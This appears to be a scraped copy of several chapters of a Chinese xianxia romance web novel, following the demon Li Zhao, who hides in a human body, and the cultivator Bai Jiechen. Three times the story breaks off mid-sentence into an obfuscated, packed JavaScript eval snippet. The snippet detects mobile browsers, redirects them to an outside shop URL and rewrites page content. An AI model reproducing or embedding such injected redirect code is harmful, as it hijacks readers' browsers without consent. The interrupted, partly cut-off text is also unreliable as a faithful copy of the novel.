李梦鱼没想到谢韫这般的云端美人也是同道中人,偷偷捏着他的衣袖,凑近小声道:“《朱颜镜》那后半部分删减了好多,谢掌院有完整版?” 谢韫微笑不语,从焦尾琴中取出了一沓翻得卷边的册子。 李梦鱼飞快取来,塞入衣袖中,生怕被某个当事人发现,心虚地看过去。 自从见了那魇咒后,白解尘似乎若有所思。 过了片刻,他将目光停留在地上被剑气激荡的雪痕上,双手拢在身后,淡淡道:“徐谷主,风雷谷何时成了傀儡谷?” 徐风盛一脚踩在傀儡的头颅上,来回转动,眼睛微眯,说道:“怕是袭击那日,已经被替换了。” 他俯下身,手指沾染上头颅缺口处渗出的缠丝,观察一番后,说道:“是无忧城的傀儡。” 无忧城? 黎昭站在徐风盛的背后,偷偷探出头查看,内心疑云顿生。 无忧城位于中州南部,已有千年历史,城内以偶戏出名,供奉着喜神娘娘,每逢佳节城中便是热闹非凡,也时常引得仙门弟子前往聚欢,无忧城就此得名。 无忧城何时会有这种诡异傀儡? 徐风盛转头看向黎昭,询问道:“你去过无忧城?” 去过,当然去过,还是跟某人一同去的。 黎昭内心想着,眼睛下意识瞟向白解尘,嘴上却说:“没有,我一直在北垣,也不知为何会被无忧城的傀儡追杀。” 这句话倒使白解尘的目光转到自己身上。 黎昭慌忙垂下眼眸,抓住徐风盛的衣角,假装抹眼泪实则挡住视线,说道:“风雷主,你要替我讨回公道,我向来安分守己,风雷谷都不敢踏出半步,怎么会惹上这样的麻烦?” “能不能好好说话!”徐风盛浑身起了鸡皮疙瘩,一把扯过衣袖,但细想一下,黎昭的话语也有道理,一团怒火梗在胸口,让他的声音都紧绷成了北垣上的石头,“明日我会亲自去一趟无忧城。” 黎昭壮着胆子捏了捏他的衣角,指了指自己,无论如何先跟着徐风盛离开这尊杀神。 徐风盛看着他就恼火,青筋都要突出来,说道:“你同我一起去。” 一场风波过后,入夜时分竟下起了雪。 与往日似风霜刀剑不同,这场雪静得不可思议,有如鹅毛般柔软,像是生怕惊动了北垣上的孤魂野鬼。 黎昭的寝居内燃着熊熊篝火,他正躺在石床上,有意无意地听着雪落的声音。 徐主管算是幸运,在风雷谷的地牢里被发现,风雷主让他静养几日,明日的无忧城之行不需要参与了。 那枚来之不易的照骨镜正贴在黎昭的胸口,他许久未曾与其相遇,身体一部分的回归让他困意顿生,恍惚间好像做了个梦。 那时候他还在应天宗,年仅十六就获得了仙盟大比的魁首,风头一时无二。 他得到了一柄上古神兵鸦九,爱不释手,整日佩在腰侧,与腰间悬挂的琳琅玉佩叮当作响。 从宗门山脚一路逛到山顶,见人便问,你怎知我得了魁首? 他确实是天纵奇才,有骄傲的资本,倘若说有遗憾,那应是白解尘没有参加仙盟大比,两人不能真正的一决高下。 众人皆知被称为小神君的白解尘一向不热衷此道,但黎昭却知晓原委,那时白解尘正在应劫,身受重伤,差点没了半条命。 他一路叮咣叮咣了好几天,终于记起了养病的白解尘。 白家财大气粗,直接劈了一座峰赠与应天宗,只为他们家的小神君能有地方静养。 黎昭熟练得像是回到自己家般,足尖一点,就落在了院门内。 白解尘正在同自己对弈,他的居所永远都是冷冷清清,连空气都沁着些许冰凉。 他脸色苍白,看似大病未愈,见到黎昭不请自来,站起身远远地望着他,像是在寒霜中等待了许久。 黎昭捧着鸦九,像是献宝般,说道:“你看,我也有剑了!” 白解尘扫了一眼,语气格外的冷淡:“嗯。” 黎昭看出他眼中的不快,他在应天宗耳濡目染许久,也明白一点人类的心思,但又不知适时变通,心直口快地说道:“白解尘,你该不会没能参加仙盟大比,生气了吧?” 白解尘点漆般的眼眸盯着黎昭看了许久,久到黎昭回想着自己哪句话说错了。 最后听得他说道:“不生气。” 黎昭手腕转着鸦九,笑道:“我就知道你不会那么小气,我是怕你多想,所以最后一个来看你。 这话说得,明明是他忘记了,却仿佛特别关切一般,酥酥软软的尾音上扬,让人心头一软。 白解尘也不知是否听出其中的意味,语气愈发无奈说道:“过来。” 黎昭脚步雀跃,带起叮叮当当的佩鸣声。 “送你,”白解尘取出一枚黑色古镜,“祝你得魁首,恭喜。” 最后两个字情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773643|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真意切。 熟悉的气息扑面而来,黎昭惊喜得差点要叫出声。 他因言语惹怒青渊主,被割去魔角赶出暗渊,幸被一位人修所救,后来他得知是在应天宗,吓得连夜逃跑,只留下了魔角,化为人形后,他曾寻过恩人,大家都对魇魔讳莫如深,一时也无从查起。 没想到竟在这里遇见了魔角所炼制的镜子。 “你从哪里得来的?”黎昭双手捧过,爱不释手,双眼亮得像要冒出星星。 被这双漂亮的眼睛看着,白解尘别开视线,说道:“你无需过问。” 黎昭比那日获得魁首还要开心,他拉着白解尘讲了许久的话,等到日落才叮叮咚咚地下山。 从那日起,黎昭的鸦九与其他玉佩都束之高阁,纤瘦的腰身上只挂着一枚古朴小镜,又是招摇过市。 他这般难得的朴素,倒是引起了徐风盛的注意。 “白解尘竟将这枚镜子赠予你?”徐风盛啧啧称奇,“真是大方。” 黎昭心念一动,像是确认着什么,问道:“你也知道这镜子?” 灵犀照骨镜的珍贵不言而喻。 徐风盛挺起腰板,抱胸道:“不仅知道,还是我炼制的呢。” 他颇为得意自己的炼器作品,不慎说漏了嘴。 黎昭的心被这句话扭了一下,莫名发闷,问道:“你炼制的?那这材料从何而来?” 徐风盛脸上的自得之色转瞬即逝,取而代之的是紧张与懊恼。 他欲言又止了许久,在黎昭期待的眼神中,咬着牙说道:“当然,当然,是我得来的。” 黎昭心中一阵失望:“原来是你啊。” 徐风盛生怕黎昭起疑,立即接话道:“当然是我,那时我不懂事,豢养了一只魇魔,不巧被发现,还挨了三十鞭雷刑!不信你可以去问尸罗堂的师兄!” 他越说,黎昭的神色越黯淡,低头说了句:“原来你是不情愿养的。” 徐风盛神情紧张,听不清黎昭的细语,说道:“什么?” “没什么,”黎昭摇摇头,随即灿然一笑,说道:“师兄,我以后会报答你的。” 得到黎昭的报答,显然不是一件美事,徐风盛早就领教过这位小师弟的狡猾刁钻,面无表情地说道:“只要你好好学术数,不要再抄我的作业,我就是万幸了。” 黎昭惊呼道:“师兄,你不如杀了我吧!” “杀什么杀,我这还有一套三年金丹五年化神,你来做几道,也能早日飞升……” “那你还是杀了我吧,真的,我绝不还手!” “……” 就从那日起,白解尘同黎昭的日益疏远,或者是白解尘单方面的疏远。 这位白家的小神君似乎仅仅是沾染了一点红尘就回到了云端之上,再也不问世事。 梦做到最后,黎昭似乎见到了一道孤独的身影,站在树影婆娑之下,遥遥地望着渐行渐远的两人。 随后,一道猛烈的气剑袭来,斩断了他的脖颈。 “哇!” 黎昭脖颈一凉,猛的睁开眼,一只疾风隼正瞪着自己,嘴里叼着一枚雪球。 他的脖间落满了雪粒,那梦中的凉意想必是这疾风隼掷的雪球。 疾风隼见他醒了,吐出雪球,突然口吐人言:“都快巳时了,你走不走!” 是徐风盛的声音。 黎昭一阵恍惚,差点分不清现实与梦境,还以为是以前徐风盛喊自己去上早课,见到那疾风隼又要啄起雪球,连忙说道:“马上,马上!” 他收好几颗可怜的灵石,来到屋外,一艘偌大的楼船横亘在风雷谷之上。 雕栏玉砌,金碧辉煌。 风雷徐氏掌握着北垣十八道灵脉,财力豪横不言而喻。 黎昭抓住疾风隼的爪子,平平稳稳地落在了楼船的甲板之上,稍一抬眼,瞧见了这辈子最不愿意见到的人。 白解尘正同徐风盛谈话,听到这边的动静,朝着他望了一眼。 “过来。” 他的声音在黎昭耳畔响起。 9. 捉弄 “过来。” 白解尘的声音恍若在耳边响起,黎昭下意识地往前走了几步,随后他似是大梦初醒般,露出恼怒的神色。 那是高阶修士的言灵,对他这样金丹尽碎的修士而言,效果奇佳。 他垂眸扫过黎昭的手臂,又看向徐风盛,说道:“魇咒未曾消失,他没死。” 徐风盛抱胸而立,映雪刀正放在他的怀中,一副不想讨论这个话题的样子,说道:“随你如何想,反正黎昭最后的愿望就是带走那枚镜子,我也办到了,他也能转世投胎了,你别去找他的麻烦了。” 黎昭在一旁听得胆战心惊,心里暗骂这徐风盛简直是成事不足败事有余,想来也是,从前黎昭若是要干坏事,必不会找徐风盛作搭档,就连白解尘都比他靠谱! 白解尘微微抬眉,似笑非笑地说道:“哦?是吗?” 自从魇灾之后,他就甚少流露出情绪,这段时日倒是变幻了个性般,徐风盛感到了一丝怪异,若不是白解尘的修为天下无敌,恐怕他要怀疑眼前这人被夺舍了。 “魇魔死后就是归于暗渊,黎昭虽曾在应天宗修行,也不会脱离自然天理,”徐风盛言尽于此,不欲多言,“巳时到了,可以出发了。” 黎昭被莫名其妙地唤去,只是为了验证一下手臂上的魇咒,他没好气地说道:“我可以走了吗?我晕船,怕吐你们一身。” 徐风盛面色一凝,像是想起了什么不愉快的往事,说道:“你可以走了。” 黎昭转身欲走,耳旁忽然又响起了白解尘的声音—— “黎昭。” 黎昭心中突突直跳,脚步一顿,回头看了看,眼中满是疑惑,随后脚步啪嗒啪嗒地走入船舱之内。 一副没心没肺的模样。 白解尘的目光一直追着那他,直到身影消失,才缓缓收回视线。 朔风自楼船的一侧呼啸而过,硕大的木浆凭借这风力缓缓摆动,楼船慢慢上浮,越过绵密的云层,朝着预定的方位行驶。 “你在怀疑他是黎昭?”徐风盛像是听到了一个笑话,“不可能,我用照骨镜验过,他是我徐家的弟子。” 白解尘不为所动:“你的灵犀照骨镜是他的魔角所化,不作数。” 徐风盛闻言一愣,随后说道:“那也不可能是他,魇魔的魇术是不可能下给自己的。” “也有一种可能,”白解尘目光变得深沉,一字一顿地说道,“夺舍重生。” * 黎昭被方才的试探差点吓软了双腿,所幸他早有心理准备才不至于在白解尘面前露馅。 他本想随着徐风盛离开这地方,等到无忧城,或者是随便什么地方,就一走了之,谁知这白解尘阴魂不散,再这样下去,说不准哪一天会再次暴露身份。 必须得想好对策,彻底打消白解尘的疑虑。 黎昭依靠在窗旁,望着连绵不绝的云层,心里懊恼不已。 早知如此,他就不该招惹白解尘。 当初他加入应天宗,按照人类的年龄计算,应是十五的年岁,可他之前曾受伤过一段时间,化成人形,身量看着还要更小些。 宗门的长老见到他的第一眼就惊为天人,生怕这好苗子被别派抢了去,直接越过了繁复的程序,收入了尧天学宫。 黎昭失去魔角,再加上一半的人类血统,同人类并无差别,就这般混进了应天宗。 那一辈的应天宗弟子中有两位最为出名,一则是风雷谷的少主徐风盛,另一位则是白家的少君。 徐风盛生性喜欢热闹,时常与宗门弟子们打成一片,而白解尘则是高高在上,弟子们看见他都绕着走。 刚开始注意到白解尘,是因为他发现这位格外孤僻的同窗与自己一样,擅长发呆。 当然,黎昭并不承认那是发呆,他实在是听不懂术数课,又无聊至极,于是偷偷与同座的学子交谈,次次被夫子抓住,一声暴喝就让他罚站到下课。 他站在堂外无所事事,从雕花窗棂看去,恰好能见到白解尘。 少年漂亮得如同一尊神像,一身白衣似在寒泉中浸过,眉目清冷。说是陇西白家的少君,但其他人似乎刻意疏远他,身旁的座位一直无人。 黎昭清楚地注意到,白解尘也在发呆。他的眼瞳比寻常人还黑,目视前方,毫无血丝的嘴唇紧抿,拢在衣袖下的手指蜷缩着。 他有点佩服起白解尘,明明不在听课,夫子却从来不点他。 有一天,黎昭特意坐在了白解尘的身旁。 白解尘并不在意身旁有谁,他一丝反应也无,若不是眼睫微颤,黎昭还以为他是当场坐化了。 黎昭托着腮,盯着白解尘看了整整一节术数课,心想着夫子怎么还不点他,怎么也不点我,实在是奇迹。 又看看宛如玉雕的侧脸,不由得感慨一句近看更好看。 一直等到下堂,白解尘终于忍无可忍,墨玉般的眼眸转到黎昭的脸上:“你看什么?” 黎昭正低头偷偷翻看话本,听耳侧有人突然一问,头也不抬:“看你好看呗。” 这话乃是那时在宗门弟子中盛行的口癖,黎昭心直口快,说了便说了,但好似惹恼了这位冷冰冰的小神君,他忽地站起身,头也不回地走了。 刚刚踏进学堂的夫子又是一声暴喝,黎昭什么都没干成,就灰溜溜地去门口罚站了。 这一次,他没有人可以解闷了。 “真是不公平,”黎昭抄着徐风盛的术数作业,抱怨道,“凭什么白解尘能逃课,我还要罚站!” 徐风盛嘴唇动了动,最终没说什么,随后揪起他耳朵吼道:“你别把答案抄全了!你有这个水平吗?夫子能信吗?要死别把我连累了!” 自那次之后,黎昭对白解尘的好奇心似乎是消散了,除了在罚站的时候盯着看看,其他时候都是装作无事发生。 直到一次休沐期,临近年关,宗门内热闹非凡,又迎来了天衍世家的公子李梦鱼。 据说是这位十八岁的梦鱼公子性子过于顽劣,特意被送上应天宗,希望能约束一二他的荒唐行径。 大家见着一脸羞涩、斯文俊秀的李梦鱼,大多数都是感慨,又是一位被家中长辈误会的、同病相怜的同门。 直到那天晚上的接风宴,趁着师长们都走了,李梦鱼取出了算卦的蓍木,眨眼间,变化成了牌九的木牌。 于是,每逢休沐期,李梦鱼的寝居都是热闹非凡,鉴于李梦鱼的威名,尸罗堂的师兄们每每来查房,都是见到这位天衍李公子正勤勤恳恳地为女修算姻缘卦。 李梦鱼组局的筹码并非钱财,而是同门师兄们的真心话。 他是天衍传人,无人敢在天道的誓言下撒谎。 这等筹码实在是新奇有趣,就连徐风盛都忍不住输了几句真心话。 唯独有两人不凑这样的热闹,一是白解尘,他生性孤僻,也无人喊他,另一人则是黎昭,他是害怕自己的身份败露,索性只作壁上观。 李梦鱼也是个唯恐天下不乱的性子,他见过所有人都参与了,唯独缺了黎昭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他沉默了一瞬后,抬起漆黑的眼眸,眼瞳中倒映着幽幽的火光,缓缓说道:“我身受前世罪孽之苦,在恨天道不公。” 与此同时,天际突然响彻一道惊雷,雷声轰轰,闻者皆是肝胆俱颤,闪电划过夜空,将屋内一切照得亮如白昼。 所有人的脸都被闪电定格住了,昔日应天宗的天之骄子们都被这一雷之威吓得呆若木鸡。 “咯咯咯,咯咯咯,老天爷,发怒了。”李梦鱼的牙齿都吓得发抖,他连算卦的蓍木都不要了,连滚带爬地跑到门口,说道:“对不起,我我明天就回家,走了。” 此言一出,众人恍若从噩梦中惊醒,爬的爬,跑的跑,瞬间屋内只留下了两个人。 黎昭还处在发蒙的状态中,他缓缓站起身,环顾四周,说道:“哎,怎么都走了?” 白解尘恢复了之前漠然,他走过黎昭的身旁。 他年纪尚轻,身量却长,比黎昭还高出半个头,如今凑得近,颇有种居高临下的意味,眼中翻涌着黑云。 “你满意了?” 声音冷得浸着寒冰。 黎昭一时语塞,只能眼睁睁地看着白解尘远去。 等到外头下起大雨,黎昭才反应过来,他跑出去想找白解尘,又不知道说些什么,他是在生气? 但又为什么生气呢? 10. 因果(大修) 雨愈发磅礴,给黑夜中的群峰罩了一层朦朦胧胧的雨纱。 黎昭想去找白解尘,又不知道他住在哪里,漫无目的地寻找,在一处屋檐下见到了李梦鱼。 这位昔日不可一世的天衍小公子正蹲在屋檐下躲雨,伸出手一遍一遍的抽着脸,说道:“以后还敢不敢玩了,以后还敢不敢玩了!” 黎昭抓住了他的手,说道:“李梦鱼,到底发生了什么事?” 李梦鱼的脸被雨水浸得发白,嘴唇都在颤抖,说道:“你,你,真的什么都不知道?” 黎昭不明所以,说道:“我该知道什么?” 李梦鱼长叹一口气,双手合十,祈祷道:“不知者无罪,不知者无罪,老天爷莫怪罪。” 天际的雨水似乎散去了一些。 “你——”李梦鱼看着黎昭,随即又是长叹一口气,说道,“你知道为什么称白解尘为小神君吗?” 黎昭摇头。 李梦鱼说道:“白氏盘踞陇西万年,自古以来飞升了十数位修士,其中不乏成仙成神的大能,承蒙先祖庇佑,我们天衍一脉推演出今世定有一位天生仙命的白家传人。” “十五年前,白夫人生产之时,天边降下九重劫云,整个中州都惊骇不已,这九重劫云乃是天道刑罚,消灭的正是大恶之徒,恰逢白夫人的孩子出生,那孩子确实是天生神骨,可就在孩子出生的刹那,九重劫云落下,竟化为百道罪命枷锁钉在了那婴儿身上!” “啊!”黎昭听得一跳,说道,“怎么会是这样?” 李梦鱼叹息道:“白家人也想知道,一道罪命枷锁已然是痛苦万分,更何况那孩子身负百道罪命枷锁,不多时就奄奄一息,白家耗尽全族之力才保住他的性命,他们请来我的师父,上一任天衍,请他诘问天道。天道所言,这位婴孩前世罪孽缠身,却因缘巧合托生在了白家,唯一能解救这孩子性命的办法便是了因果。” 黎昭奇道:“了因果?” 李梦鱼点头,说道:“天道至公,所谓了因果便是一命偿一命,前世这位婴孩所欠的性命,今生便要归还,家师为这位婴孩算了命盘,若能了却所有前世因果,那这位婴孩的神格才能显现。” 黎昭倒吸一口凉气:“那名婴孩是白解尘?” “正是,”李梦鱼眼中露出一丝不忍,“我也不知道现在的白解尘了结几桩因果,但他定是经常身受罪命枷锁之苦,你,你……” “你还让他说出那番话,”李梦鱼破罐子破摔地跺跺脚,“你不是作死吗!” 黎昭无所事事地踢了踢脚旁的石头,说道:“那白解尘会不会有事啊?” 李梦鱼摸了一把脸上的雨水,说道:“我也不知道。” 黎昭自小在暗渊长大,又是青渊主的血脉,本来是个无法无天的性格,可到了应天宗之后,他耳濡目染,改掉了许多魇魔的习性,学会了一些做人的道理。 “我会去找白解尘解释的。” 黎昭说完,未看见李梦鱼古怪的表情,转身走入了雨夜中。 他找遍了应天宗都寻不到白解尘,才想起有一座截断的悬浮山峰立在主峰旁,常年云雾缭绕。难道他住在哪里?偷偷溜到孤峰上,果真见到一座被云雾缭绕的庭院,大门紧闭,像是刻意将所有人都隔离在外。 他先是上前敲了敲门,等了许久没有反应,雨越下越大,黎昭全身都浸湿了,他往门内靠了靠,想要借着门檐躲雨,未曾想听到吱呀一声,门开了一条小缝。 门缝很窄,寻常人无法通过,像是故意设置了这么一道缝隙,让某个体型小巧的物件通过。 黎昭朝内望了望,窥见满眼竹绿,心想难道是白解尘给他的考验? 那些话本上有说过,像有一个猴子就是被敲了三下头,领悟了祖师爷的暗语。 他见四下无人,化为一道魇气,偷偷溜进了院内。 庭院内白墙青瓦,竹影摇晃,雨滴空明,青玉小径两侧都有精美石灯点缀,一路通向一座青竹居所。 他小心翼翼地走到青竹楼旁,轻轻唤了一句:“白,解尘?” 寝居的门又开了一条小缝。 黎昭双眼一亮,心里愈发笃定是白解尘给予自己的考验。 没想到白解尘年纪轻轻,还学着那些白胡子老头的做派。 他故技重施,化为一道黑雾,飘进了白解尘的房中。 还未来得及看清,黎昭只觉得眼前金光一闪,耳旁听见金石相击的清脆声响,他的手脚被几道强韧的细线缠绕,突然一阵天旋地转,等他回过神来,自己被关在了房屋的角落里。 他的面前拦着数道镌刻着铭文的金欄,头顶也是同样的金欄,居然是一道暗金所造的牢笼。 暗金是一种特殊矿石炼制而成,刻上铭文后对邪魔有克制奇效,也是魇魔的专属克星。 这牢笼又小又挤,黎昭蜷缩成一团。 他没想到白解尘会在房中放置一个暗金牢笼,又气又急,使劲掰开那看似细细的金欄,直到手心都划出血痕都无济于事。 “有人吗?喂,白解尘!我被关起来了!” 黎昭喊了几声,全无反应,他深吸一口气,瞄了眼空无一人的屋子,心理建设了许久,张开嘴,露出了尖尖的小虎牙。 魇魔的牙齿乃是世间最坚硬的物件。 他的虎牙小巧精致,衬着嫣红的嘴唇,丝毫看不出任何威胁。 一口咬在金欄上,牙尖抵在暗金上,还未用力,就见到白解尘的身影。 他刚沐浴完毕,一身雪色长衫,长发如瀑披在身后,末梢仍在氤氲着灵泉的雾气。 两人的目光相遇,气氛异常尴尬。 小神君仙气飘飘,恍然若神,黎昭被困在金笼里,傻乎乎地咬着栅栏。 黎昭立即吐开金欄,头又撞到了牢笼顶部:“嘶!” 他捂住了脑袋,琥珀色的眼眸偷偷瞄向白解尘。 白解尘神色如常,不同于其他人对天道的畏惧,他甚至还有闲心更衣沐浴。 黎昭自己倒是尴尬得不行,若是能在地上挖个洞,他怕是会自己挖了再躺进去。 他前来道歉,却被无缘无故抓进了笼子里,偏偏又被人看见这样愚蠢的行径。 实在是太丢脸了。 黎昭把自己缩成了一团,紧紧抿着嘴巴。 白解尘像是没有看见角落里关了个人,他施施然坐在案桌上,拾起案上的一支沉香,放在了博山炉中。 雾气缭绕,黎昭从朦胧的烟雾中见到了白解尘嘴角模糊的笑意。 他居然在笑! 黎昭气得眼圈发红,明白又是自己理亏,两股气劲在心里冲荡,差点要呕出血来。 这金笼子到底是关什么的,怎么会在白解尘房间里! 黎昭想要开口求饶,转念一想,硬生生咬住下唇。 自己是无缘无故闯入,但那几道门缝也是帮凶之一,如果不开出一道缝,自己怎么又会进来呢? 再生气,白解尘也不能把自己关笼子里。 他越想,越心虚。 “怎么不咬了?”白解尘的声音传来。 他的声音犹如切冰碎玉,十分动听,黎昭却没心情欣赏。 “咬不动。”黎昭有气无力地说道。 他又听到一声轻笑。 黎昭脸上红得滴血,他把自己重新缩成了一团,紧紧闭上嘴巴,决定不跟白解尘说话了。 过了许久,黎昭听到门外有人喊话,隐约能听到是徐风盛的声音,询问院内是否有人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13773645|145697||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院门开启,徐风盛的脚步声传来,未见到人就听到他的声音。 “白解尘,黎昭他不是故意的,他年纪小跟北垣上的野兔子差不——” 徐风盛一脚踏进屋内,双眼立即瞪圆。 北垣上的野兔子被抓起来了。 黎昭缩在金笼里,全身都湿透了,见到徐风盛冷哼一声,干脆面朝着角落,不去看他。 “他,他……”徐风盛支支吾吾,“怎么在这里?” “院内的禁制被触发了。”白解尘淡声道。 徐风盛从惊讶中平复下来,再看了眼缩成一团的黎昭,嘴角抽搐,忍笑得很辛苦。 他是来替黎昭解释缘由,可见到黎昭被白解尘关起来,明白是他失礼在先,更不好说情。 他告别白解尘后,黎昭分明听到了徐风盛在院外肆意放声大笑。 黎昭抖得更厉害了,纯粹是气的。 紧接着,李梦鱼上门求情,见到黎昭后,原本的说辞都抛到九霄云外,笑得乐不可支,甚至还跑到金笼旁,想要戳戳他。 但白解尘在一旁看着,也就作罢了。 黎昭捂住了耳朵,心想千万不要再有人来求情了,他在应天宗要待不下去了。 师兄们就饶了他吧。 也不知道过了多久,黎昭腿都在发麻,满腔怒火也浇灭得差不多了,金笼轻响一声,禁制解除了。 黎昭眨眨眼,还不知道发生了何事。 向来是他捉弄人,现在轮到自己被欺负,一时间还有点不适应。 “禁制时限两个时辰,”白解尘缓缓走到他前面,雪色的衣袂轻轻拂过,“不可解。” 黎昭蹲在角落,依旧是低垂着头,明知是他有错在先,可自己是丢尽脸面,若不是双腿发麻,他一定是跑得远远的。 白解尘微微俯下身,伸出手。 黎昭抬头,见到他墨玉般的双眼里藏着一丝笑意。 他本就生得冰雪之姿,双眼一笑,犹如冰雪消融,化成满池春水。 黎昭不情不愿地握住他的手。 他的掌心很温暖,不同于他冷淡如冰的外表。 白解尘将他扶起,隔空招来一只木椅,让他坐下。 黎昭不声不响坐下,双手悄无声息地捏着发麻的腿,依旧低着头,耳朵尖都粉红一片。 “为何来此?”白解尘问。 “你管我!”黎昭先是发了一通闷气,声音又陡然变轻,小声说道,“原本是来道歉的。” 来道歉,却被关进笼子里了,他不想道歉了。 “那笼子,”白解尘沉默了片刻,说道,“不是来关你的。” 黎昭心里冷哼一声,自然不是来关本少主的,是他不小心着了道,谁知道有人会在房里放个暗金制的笼子。 白解尘一直在观察他的神情,见他粉白漂亮的脸上只有深深的羞恼和浅浅的歉意,眼底滑过一丝幽光,说道:“腿好些了吗?” 腿好了也就可以滚了。 黎昭耳朵一动,忙不迭地站起身,说道:“好了,那我走啦。” 生怕又被白解尘关进那个莫名其妙的笼子里,黎昭不管腿上还有酥麻的痒意,真像一只北垣的小野兔边跑边跳地来到了门边,他一脚踏出院门,心里突然猛跳了一下,转过身,回头恰好看见白解尘在望着他,眼神专注而柔和。 他站在门檐旁,孤孤单单的一个人。 黎昭犹豫了一下,说道:“我不是故意的。” 白解尘:“我知道。” 黎昭:“那你能原谅我吗?” 他是魇魔的心性,一旦想通了就说得坦坦荡荡。 白解尘望着他,眼中有黎昭着看不懂的情愫,轻声说了一句:“你没错。” 11. 忘川 或许就是那次起,白解尘就记恨上了自己,他还傻傻地认为白解尘是原谅了他。 黎昭躺在船舱的床上,不敢往窗外翻涌的云海看上一眼,一看就会想吐。 当人多烦,一不小心说错话,还要赔上性命。 不如当个魔头自在。 这般想着,黎昭心里也痛快了不少,他伸了个懒腰,长腿交叠,舒舒服服地眯起眼。 胸口的照骨镜熨贴着肌肤,透着温热的暖意,倘若之前黎昭没有十足的把握对付白解尘,那有了这面镜子之后,他再无所顾忌了。 世人多忌惮魇魔,都因魇魔残忍嗜血,狡猾多变,但他们对魇族的能力知之甚少。 作为天地间诞生的物种,几乎每个魇族都是幻术、魂术方面的天才,他们头上的魔角更是妙用无穷,人类修士对于灵犀照骨镜的理解也仅仅是九牛一毛。 若不是白解尘也在这楼船之上,黎昭早就逃之夭夭。 巨大的木浆划过连绵的云海,灵力化为一道道半透明的波浪气劲在天空中留下涟漪般的白痕,楼船平稳地疾驶。 温暖柔和的阳光映照在身上,黎昭舒服得几乎要睡过去,就在他半睡半醒之间,一股怪异的阴冷从皮肤间的缝隙内钻入,直直嵌入到他的骨髓里。 黎昭打了个冷战,猛然惊醒,阳光依旧明媚,但周遭的一切有哪里不对,眼前的景象好像蒙上了一层阴森的薄纱,看得人寒意顿生。 “阿娘,我回来了啦。” “白解尘,离开暗渊,这不是你能待的地方。” “我杀了青渊主,我还吃了他。” 有人在他的耳旁轻语着,那声音很熟悉。 从喜悦到祈祷,从害怕到绝望,浅色的双眼蒙上深沉的暗色。 那是他死前的记忆,黎昭脑中浑浑噩噩地想着,耳畔隐约有潮水的声音,细细密密,奔涌而来。 不对。 黎昭睁开眼,双眸金芒闪烁,眉心的红痕时隐时现,魇魔的幻象只显现了一秒,他又恢复了秀雅的人类修士,但这已经足够了。 方才的寒意一扫而光,那潮水声却愈发近了。 “是水,怎么天上会有水!“ “是天河,天河吗?” “蠢货,那是蜃象!” 楼船的层板上修士们指着那莫名出现的河水纷纷叫嚷。 黎昭一手撑窗,半个身体越出了船厢,湿冷的腥风吹散了他的头发,鼻间能闻到作呕的腐臭味,见到远处奔涌而来的浑浊潮水,讶异地说道:“忘川?” 北垣以北有暗渊,九泉之下是幽都,人死后的灵魂皆是前往幽都,经历黄泉路奈何桥方可轮回。 忘川横亘整个幽都,将其一分为二,乃是三界中最神秘的地方,忘川之水一旦出现,见者皆会深陷前世记忆,无法自拔。 然而这三界最危险的事物,竟就这样出现在了人间。 天际尽头似乎开了一道无穷无尽的泉眼,血黄色的浑浊黄泉沿着宽大的云床滚滚而来,浅白色的浪沫中依稀能见到翻滚哀嚎的魂魄,无数道如蜡像般融化的五官聚成了争先恐后的浪头。 这道不该出现在人间的忘川来势汹汹,几乎是片刻间就来到了楼船之前。 * 在忘川出现的一瞬间,白解尘立即从前世的记忆中抽身离开,他淡漠的神情没有丝毫变化,眼中却流过一丝诡异的红光。 他稍稍侧脸,风吹起他的长发,抬眸看了眼后方。 所有在楼船上的修士都受到了忘川的影响,些弟子前世尚且是投生在人道,只是迷茫地自言自语,或者痛哭流涕。 更多的子弟前世投生成虫鱼鸟兽,在偌大的甲板上丑态百出。 徐风盛自身修为高深,对这诡异至极的忘川稍有抵抗力,他强行抵制住耳畔的细语,见到白解尘意识清醒,不由得松了口气,喊道:“你快去开启护船大阵!” “无用,”白解尘淡声道,“你且待在此处,莫要轻举妄动。” 不等他人反应,便划过一道白光,疾驰至忘川尽头。 徐风盛有时候实在是讨厌白解尘这专横独断的性格,暗骂一句:“就你逞能。” 眼看忘川不到片刻就要袭来,徐风盛全力抵抗着窸窸窣窣的轻语,眼中紫意盎然,手腕一翻将映雪刀插进灵木甲板,雪白的刀刃表面迸发出无数道亮紫色的闪电,瞬间涌入甲板表面,数道粗如藤蔓的电弧包裹住了整个楼船。 同时轰雷彻响,所有人的意识清醒了一瞬。 “尚有意识的,去阵眼那护法,”徐风盛双眼交织着细密紫芒,目视着前方,喝道,“准备迎敌!” 雷电是阴魂最惧怕的法术,忘川的影响似乎减弱了一丝。 徐风盛驱动着全身灵力护住楼船,脑中却想起一则尚在应天宗时的往事—— 当年黎昭尚在应天宗时,与白解尘下山寻找失踪的仙门弟子,失踪弟子的方位就在无忧城附近。 